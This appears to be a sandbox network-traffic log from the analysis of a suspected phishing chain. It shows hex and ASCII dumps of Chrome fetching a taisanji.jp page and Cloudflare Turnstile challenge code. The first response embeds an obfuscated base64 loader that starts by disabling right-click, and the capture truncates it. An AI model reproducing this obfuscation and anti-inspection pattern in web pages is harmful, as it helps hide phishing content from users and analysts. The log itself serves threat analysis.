2024-04-25 18:36:30 UTC	400	OUT	GET /197006108922/ HTTP/1.1 Host: taisanji.jp Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=beceeed944e116c0f1ce457b161cfb28
2024-04-25 18:36:30 UTC	291	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 25 Apr 2024 18:36:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2024-04-25 18:36:30 UTC	2372	IN	Data Raw: 39 33 38 0d 0a 3c 68 74 6d 6c 3e 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 30 74 4b 65 53 51 72 4c 37 4f 6b 46 72 6c 51 4d 30 4b 56 44 36 45 53 4c 36 75 39 56 41 53 5a 68 78 66 6a 30 66 69 4a 75 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0d 0a 20 20 20 20 3c 62 6f 64 79 3e 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 61 74 6f 62 28 22 50 48 4e 6a 63 6d 6c 77 64 44 34 4b 49 43 41 67 49 43 38 76 49 47 52 70 63 32 46 69 62 47 55 67 63 6d 6c 6e 61 48 51 67 59 32 78 70 59 32 73 4b 49 43 41 67 49 47 52 76 59 33 56 74 5a 57 35 30 4c 6d 46 6b 5a 45 56 32 5a 57 35 30 54 47 6c 7a 64 47 56 75 5a 58 49 6f 4a 32 4e 76 62 6e 52 6c 65 48 52 74 5a 57 35 31 4a 79 77 67 5a Data Ascii: 938<html> <head> <title>0tKeSQrL7OkFrlQM0KVD6ESL6u9VASZhxfj0fiJu</title> </head> <body><script>document.write(atob("PHNjcmlwdD4KICAgIC8vIGRpc2FibGUgcmlnaHQgY2xpY2sKICAgIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2NvbnRleHRtZW51JywgZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49723	104.17.3.184	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:36:30 UTC	619	OUT	GET /turnstile/v0/b/471dc2adc340/api.js?onload=onloadTurnstileCallback HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://e76abede.df1076c6f7230d3c23de9bcb.workers.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 18:36:30 UTC	340	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 18:36:30 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 42415 Connection: close Access-Control-Allow-Origin: * Cache-Control: max-age=31536000 Cross-Origin-Resource-Policy: cross-origin Server: cloudflare CF-RAY: 87a070649a9b6735-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 18:36:30 UTC	1029	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 62 74 28 65 2c 72 2c 74 2c 6f 2c 75 2c 73 2c 6d 29 7b 74 72 79 7b 76 61 72 20 62 3d 65 5b 73 5d 28 6d 29 2c 68 3d 62 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 64 29 7b 74 28 64 29 3b 72 65 74 75 72 6e 7d 62 2e 64 6f 6e 65 3f 72 28 68 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 68 29 2e 74 68 65 6e 28 6f 2c 75 29 7d 66 75 6e 63 74 69 6f 6e 20 45 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 74 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 75 29 7b 76 61 72 20 73 3d 65 2e 61 70 70 6c 79 28 72 2c 74 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function bt(e,r,t,o,u,s,m){try{var b=e[s](m),h=b.value}catch(d){t(d);return}b.done?r(h):Promise.resolve(h).then(o,u)}function Et(e){return function(){var r=this,t=arguments;return new Promise(function(o,u){var s=e.apply(r,t);funct
2024-04-25 18:36:30 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 75 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 75 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 74 2e 70 75 73 68 2e 61 70 70 6c 79 28 74 2c 6f 29 7d 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 77 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 6c 6c 3f 72 3a 7b 7d 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 28 65 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 28 72 29 29 3a 66 72 28 4f 62 6a 65 63 74 28 72 29 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 Data Ascii: tion(u){return Object.getOwnPropertyDescriptor(e,u).enumerable})),t.push.apply(t,o)}return t}function wt(e,r){return r=r!=null?r:{},Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):fr(Object(r)).forEach(funct
2024-04-25 18:36:30 UTC	1369	IN	Data Raw: 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 52 65 28 65 2c 72 29 7b 76 61 72 20 74 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 73 5b 30 5d 26 31 29 74 68 72 6f 77 20 73 5b 31 5d 3b 72 65 74 75 72 6e 20 73 5b 31 5d 7d 2c 74 72 79 73 3a 5b 5d 2c 6f 70 73 3a 5b 5d 7d 2c 6f 2c 75 2c 73 2c 6d 3b 72 65 74 75 72 6e 20 6d 3d 7b 6e 65 78 74 3a 62 28 30 29 2c 74 68 72 6f 77 3a 62 28 31 29 2c 72 65 74 75 72 6e 3a 62 28 32 29 7d 2c 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 28 6d 5b 53 79 6d 62 6f Data Ascii: &typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Re(e,r){var t={label:0,sent:function(){if(s[0]&1)throw s[1];return s[1]},trys:[],ops:[]},o,u,s,m;return m={next:b(0),throw:b(1),return:b(2)},typeof Symbol=="function"&&(m[Symbo
2024-04-25 18:36:30 UTC	1369	IN	Data Raw: 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 4f 74 3d 33 30 30 30 32 30 3b 76 61 72 20 4f 65 3d 33 30 30 30 33 30 3b 66 75 6e 63 74 69 6f 6e 20 4e 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 65 2e 69 6e 64 65 78 4f 66 28 72 29 21 3d 3d 2d 31 7d 76 61 72 20 44 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4d 41 4e 41 47 45 44 3d 22 6d 61 6e 61 67 65 64 22 2c 65 2e 4e 4f 4e 5f 49 4e 54 45 52 41 43 54 49 56 45 3d 22 6e 6f 6e 2d 69 6e 74 65 72 61 63 74 69 76 65 22 2c 65 2e 49 4e 56 49 53 49 42 4c 45 3d 22 69 6e 76 69 73 69 62 6c 65 22 7d 29 28 44 7c 7c 28 44 3d 7b 7d 29 29 3b 76 Data Ascii: me parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Ot=300020;var Oe=300030;function N(e,r){return e.indexOf(r)!==-1}var D;(function(e){e.MANAGED="managed",e.NON_INTERACTIVE="non-interactive",e.INVISIBLE="invisible"})(D\|\|(D={}));v
2024-04-25 18:36:30 UTC	1369	IN	Data Raw: 6e 67 22 26 26 70 72 2e 74 65 73 74 28 65 29 7d 76 61 72 20 76 72 3d 2f 5e 5b 61 2d 7a 30 2d 39 5f 5c 2d 3d 5d 7b 30 2c 32 35 35 7d 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 4a 65 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 76 6f 69 64 20 30 3f 21 30 3a 74 79 70 65 6f 66 20 65 3d 3d 22 73 74 72 69 6e 67 22 26 26 76 72 2e 74 65 73 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 5a 65 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 5b 22 6e 6f 72 6d 61 6c 22 2c 22 63 6f 6d 70 61 63 74 22 2c 22 69 6e 76 69 73 69 62 6c 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 65 74 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 74 74 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 5b 22 61 Data Ascii: ng"&&pr.test(e)}var vr=/^[a-z0-9_\-=]{0,255}$/i;function Je(e){return e===void 0?!0:typeof e=="string"&&vr.test(e)}function Ze(e){return N(["normal","compact","invisible"],e)}function et(e){return N(["auto","manual","never"],e)}function tt(e){return N(["a
2024-04-25 18:36:30 UTC	1369	IN	Data Raw: 28 74 79 70 65 6f 66 20 50 72 6f 78 79 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 30 3b 74 72 79 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 4f 66 2e 63 61 6c 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 78 65 28 65 2c 72 2c 74 29 7b 72 65 74 75 72 6e 20 4e 65 28 29 3f 78 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 78 65 3d 66 75 6e 63 74 69 6f 6e 28 75 2c 73 2c 6d 29 7b 76 61 72 20 62 3d 5b 6e 75 6c 6c 5d 3b 62 2e 70 75 73 68 2e 61 70 70 6c 79 28 62 2c 73 29 3b 76 61 72 20 68 3d 46 75 6e 63 Data Ascii: (typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function xe(e,r,t){return Ne()?xe=Reflect.construct:xe=function(u,s,m){var b=[null];b.push.apply(b,s);var h=Func
2024-04-25 18:36:30 UTC	1369	IN	Data Raw: 6b 65 28 73 29 2c 22 63 6f 64 65 22 2c 76 6f 69 64 20 30 29 2c 73 2e 6e 61 6d 65 3d 22 54 75 72 6e 73 74 69 6c 65 45 72 72 6f 72 22 2c 73 2e 63 6f 64 65 3d 75 2c 73 7d 72 65 74 75 72 6e 20 74 7d 28 4c 65 28 45 72 72 6f 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 76 28 65 2c 72 29 7b 76 61 72 20 74 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 59 74 28 74 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 5f 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 29 7d 66 75 6e 63 74 69 6f 6e 20 62 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 Data Ascii: ke(s),"code",void 0),s.name="TurnstileError",s.code=u,s}return t}(Le(Error));function v(e,r){var t="[Cloudflare Turnstile] ".concat(e,".");throw new Yt(t,r)}function _(e){console.warn("[Cloudflare Turnstile] ".concat(e,"."))}function be(e){return e.starts
2024-04-25 18:36:30 UTC	1369	IN	Data Raw: 2e 63 6f 6e 63 61 74 28 53 29 29 3b 69 66 28 21 55 29 7b 64 2e 77 61 74 63 68 63 61 74 2e 6d 69 73 73 69 6e 67 57 69 64 67 65 74 57 61 72 6e 69 6e 67 7c 7c 28 5f 28 22 43 61 6e 6e 6f 74 20 66 69 6e 64 20 57 69 64 67 65 74 20 22 2e 63 6f 6e 63 61 74 28 53 2c 22 2c 20 63 6f 6e 73 69 64 65 72 20 75 73 69 6e 67 20 74 75 72 6e 73 74 69 6c 65 2e 72 65 6d 6f 76 65 28 29 20 74 6f 20 63 6c 65 61 6e 20 75 70 20 61 20 77 69 64 67 65 74 2e 22 29 29 2c 64 2e 77 61 74 63 68 63 61 74 2e 6d 69 73 73 69 6e 67 57 69 64 67 65 74 57 61 72 6e 69 6e 67 3d 21 30 29 3b 63 6f 6e 74 69 6e 75 65 7d 69 66 28 28 64 2e 69 73 45 78 65 63 75 74 69 6e 67 7c 7c 21 64 2e 69 73 49 6e 69 74 69 61 6c 69 7a 65 64 7c 7c 64 2e 69 73 49 6e 69 74 69 61 6c 69 7a 65 64 26 26 21 64 2e 69 73 53 74 61 Data Ascii: .concat(S));if(!U){d.watchcat.missingWidgetWarning\|\|(_("Cannot find Widget ".concat(S,", consider using turnstile.remove() to clean up a widget.")),d.watchcat.missingWidgetWarning=!0);continue}if((d.isExecuting\|\|!d.isInitialized\|\|d.isInitialized&&!d.isSta
2024-04-25 18:36:30 UTC	1369	IN	Data Raw: 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 29 29 2c 72 2e 73 69 7a 65 21 3d 3d 30 29 72 65 74 75 72 6e 20 72 2e 74 6f 53 74 72 69 6e 67 28 29 7d 66 75 6e 63 74 69 6f 6e 20 73 74 28 65 2c 72 29 7b 76 61 72 20 74 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 22 3b 69 66 28 72 29 7b 76 61 Data Ascii: eyOverrides.offlabel),e.params._debugSitekeyOverrides.clearance_level!=="default"&&r.set("clearance_level",e.params._debugSitekeyOverrides.clearance_level)),r.size!==0)return r.toString()}function st(e,r){var t="https://challenges.cloudflare.com";if(r){va
2024-04-25 18:36:30 UTC	1369	IN	Data Raw: 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 31 26 26 61 72 67 75 6d 65 6e 74 73 5b 31 5d 21 3d 3d 76 6f 69 64 20 30 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 33 3b 72 65 74 75 72 6e 20 65 2e 6c 65 6e 67 74 68 3e 72 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 30 2c 72 29 3a 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 4a 74 28 65 29 7b 76 61 72 20 72 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6f 29 7b 69 66 28 21 74 7c 7c 74 2e 74 61 67 4e 61 6d 65 3d 3d 3d 22 42 4f 44 59 22 29 72 65 74 75 72 6e 20 6f 3b 66 6f 72 28 76 61 72 20 75 3d 31 2c 73 3d 74 2e 70 72 65 76 69 6f 75 73 45 6c 65 6d 65 6e 74 53 69 62 6c 69 6e 67 3b 73 3b 29 73 2e 74 61 67 4e 61 6d 65 3d 3d 3d 74 2e 74 61 67 4e 61 6d 65 26 26 75 2b 2b 2c 73 3d 73 2e 70 72 65 76 69 6f 75 73 45 6c 65 6d 65 6e 74 53 69 62 6c 69 6e Data Ascii: ments.length>1&&arguments[1]!==void 0?arguments[1]:3;return e.length>r?e.substring(0,r):e};function Jt(e){var r=function(t,o){if(!t\|\|t.tagName==="BODY")return o;for(var u=1,s=t.previousElementSibling;s;)s.tagName===t.tagName&&u++,s=s.previousElementSiblin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49724	104.17.3.184	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:36:31 UTC	818	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/fyhsf/0x4AAAAAAAYN4FOeSmqG7_zc/auto/normal HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://e76abede.df1076c6f7230d3c23de9bcb.workers.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 18:36:31 UTC	1347	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 18:36:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cross-origin-opener-policy: same-origin critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA cross-origin-resource-policy: cross-origin permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() referrer-policy: same-origin accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA content-security-policy: frame-src https://challenges.cloudflare.com/ blob:; base-uri 'self' document-policy: js-profiling cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cross-origin-embedder-policy: require-corp
2024-04-25 18:36:31 UTC	131	IN	Data Raw: 6f 72 69 67 69 6e 2d 61 67 65 6e 74 2d 63 6c 75 73 74 65 72 3a 20 3f 31 0d 0a 76 61 72 79 3a 20 61 63 63 65 70 74 2d 65 6e 63 6f 64 69 6e 67 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 37 61 30 37 30 36 39 33 39 33 62 35 33 62 37 2d 41 54 4c 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: origin-agent-cluster: ?1vary: accept-encodingServer: cloudflareCF-RAY: 87a07069393b53b7-ATLalt-svc: h3=":443"; ma=86400
2024-04-25 18:36:31 UTC	510	IN	Data Raw: 31 66 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 Data Ascii: 1f7<!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale
2024-04-25 18:36:31 UTC	1369	IN	Data Raw: 35 35 39 31 0d 0a 64 65 67 29 3b 0a 20 20 7d 0a 7d 0a 40 6b 65 79 66 72 61 6d 65 73 20 73 74 72 6f 6b 65 20 7b 0a 20 20 31 30 30 25 20 7b 0a 20 20 20 20 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 20 30 3b 0a 20 20 7d 0a 7d 0a 40 6b 65 79 66 72 61 6d 65 73 20 73 63 61 6c 65 20 7b 0a 20 20 30 25 2c 20 31 30 30 25 20 7b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 6e 6f 6e 65 3b 0a 20 20 7d 0a 20 20 35 30 25 20 7b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 33 64 28 31 2c 20 31 2c 20 31 29 3b 0a 20 20 7d 0a 7d 0a 40 6b 65 79 66 72 61 6d 65 73 20 66 69 6c 6c 20 7b 0a 20 20 31 30 30 25 20 7b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 31 29 3b 0a 20 20 7d 0a 7d 0a 40 6b 65 79 66 72 61 6d 65 73 20 66 69 6c Data Ascii: 5591deg); }}@keyframes stroke { 100% { stroke-dashoffset: 0; }}@keyframes scale { 0%, 100% { transform: none; } 50% { transform: scale3d(1, 1, 1); }}@keyframes fill { 100% { transform: scale(1); }}@keyframes fil
2024-04-25 18:36:31 UTC	1369	IN	Data Raw: 70 78 20 30 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 30 70 78 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 7d 0a 0a 23 63 6f 6e 74 65 6e 74 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 0a 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 65 30 65 30 65 30 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 61 66 61 66 61 3b 0a 20 20 68 65 69 67 68 74 3a 20 36 33 70 78 3b 0a 20 20 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 7d 0a 0a 23 63 Data Ascii: px 0; text-align: center; font-size: 20px; font-weight: 400;}#content { display: flex; align-items: center; justify-content: space-between; border: 1px solid #e0e0e0; background-color: #fafafa; height: 63px; user-select: none;}#c
2024-04-25 18:36:31 UTC	1369	IN	Data Raw: 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 20 31 30 3b 0a 20 20 73 74 72 6f 6b 65 3a 20 23 30 33 38 31 32 37 3b 0a 20 20 66 69 6c 6c 3a 20 23 30 33 38 31 32 37 3b 0a 7d 0a 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 73 75 63 63 65 73 73 2d 69 63 6f 6e 20 7b 0a 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 69 6e 73 65 74 20 30 20 30 20 30 20 23 30 61 61 39 33 37 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 73 75 63 63 65 73 73 2d 69 63 6f 6e 20 2e 70 31 20 7b 0a 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 69 6e 73 65 74 20 30 20 30 20 30 20 23 30 61 61 39 33 37 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 20 7b 0a 20 20 73 74 72 6f 6b 65 3a 20 23 30 61 61 39 33 37 3b 0a 20 20 66 69 6c 6c 3a 20 23 30 61 61 39 Data Ascii: oke-miterlimit: 10; stroke: #038127; fill: #038127;}.theme-dark #success-icon { box-shadow: inset 0 0 0 #0aa937;}.theme-dark #success-icon .p1 { box-shadow: inset 0 0 0 #0aa937;}.theme-dark .success-circle { stroke: #0aa937; fill: #0aa9
2024-04-25 18:36:31 UTC	1369	IN	Data Raw: 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6f 66 66 6c 61 62 65 6c 20 23 66 61 69 6c 2d 69 63 6f 6e 20 7b 0a 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 69 6e 73 65 74 20 30 20 30 20 30 20 23 66 66 66 3b 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 66 69 6c 6c 66 61 69 6c 2d 6f 66 66 6c 61 62 65 6c 2d 64 61 72 6b 20 30 2e 34 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 20 30 2e 34 73 20 66 6f 72 77 61 72 64 73 2c 20 73 63 61 6c 65 20 30 2e 33 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 20 30 2e 39 73 20 62 6f 74 68 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 68 31 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 66 66 Data Ascii: .theme-dark .offlabel #fail-icon { box-shadow: inset 0 0 0 #fff; animation: fillfail-offlabel-dark 0.4s ease-in-out 0.4s forwards, scale 0.3s ease-in-out 0.9s both;}.theme-dark h1 { color: #fff;}.theme-dark #challenge-error-title { color: #ff
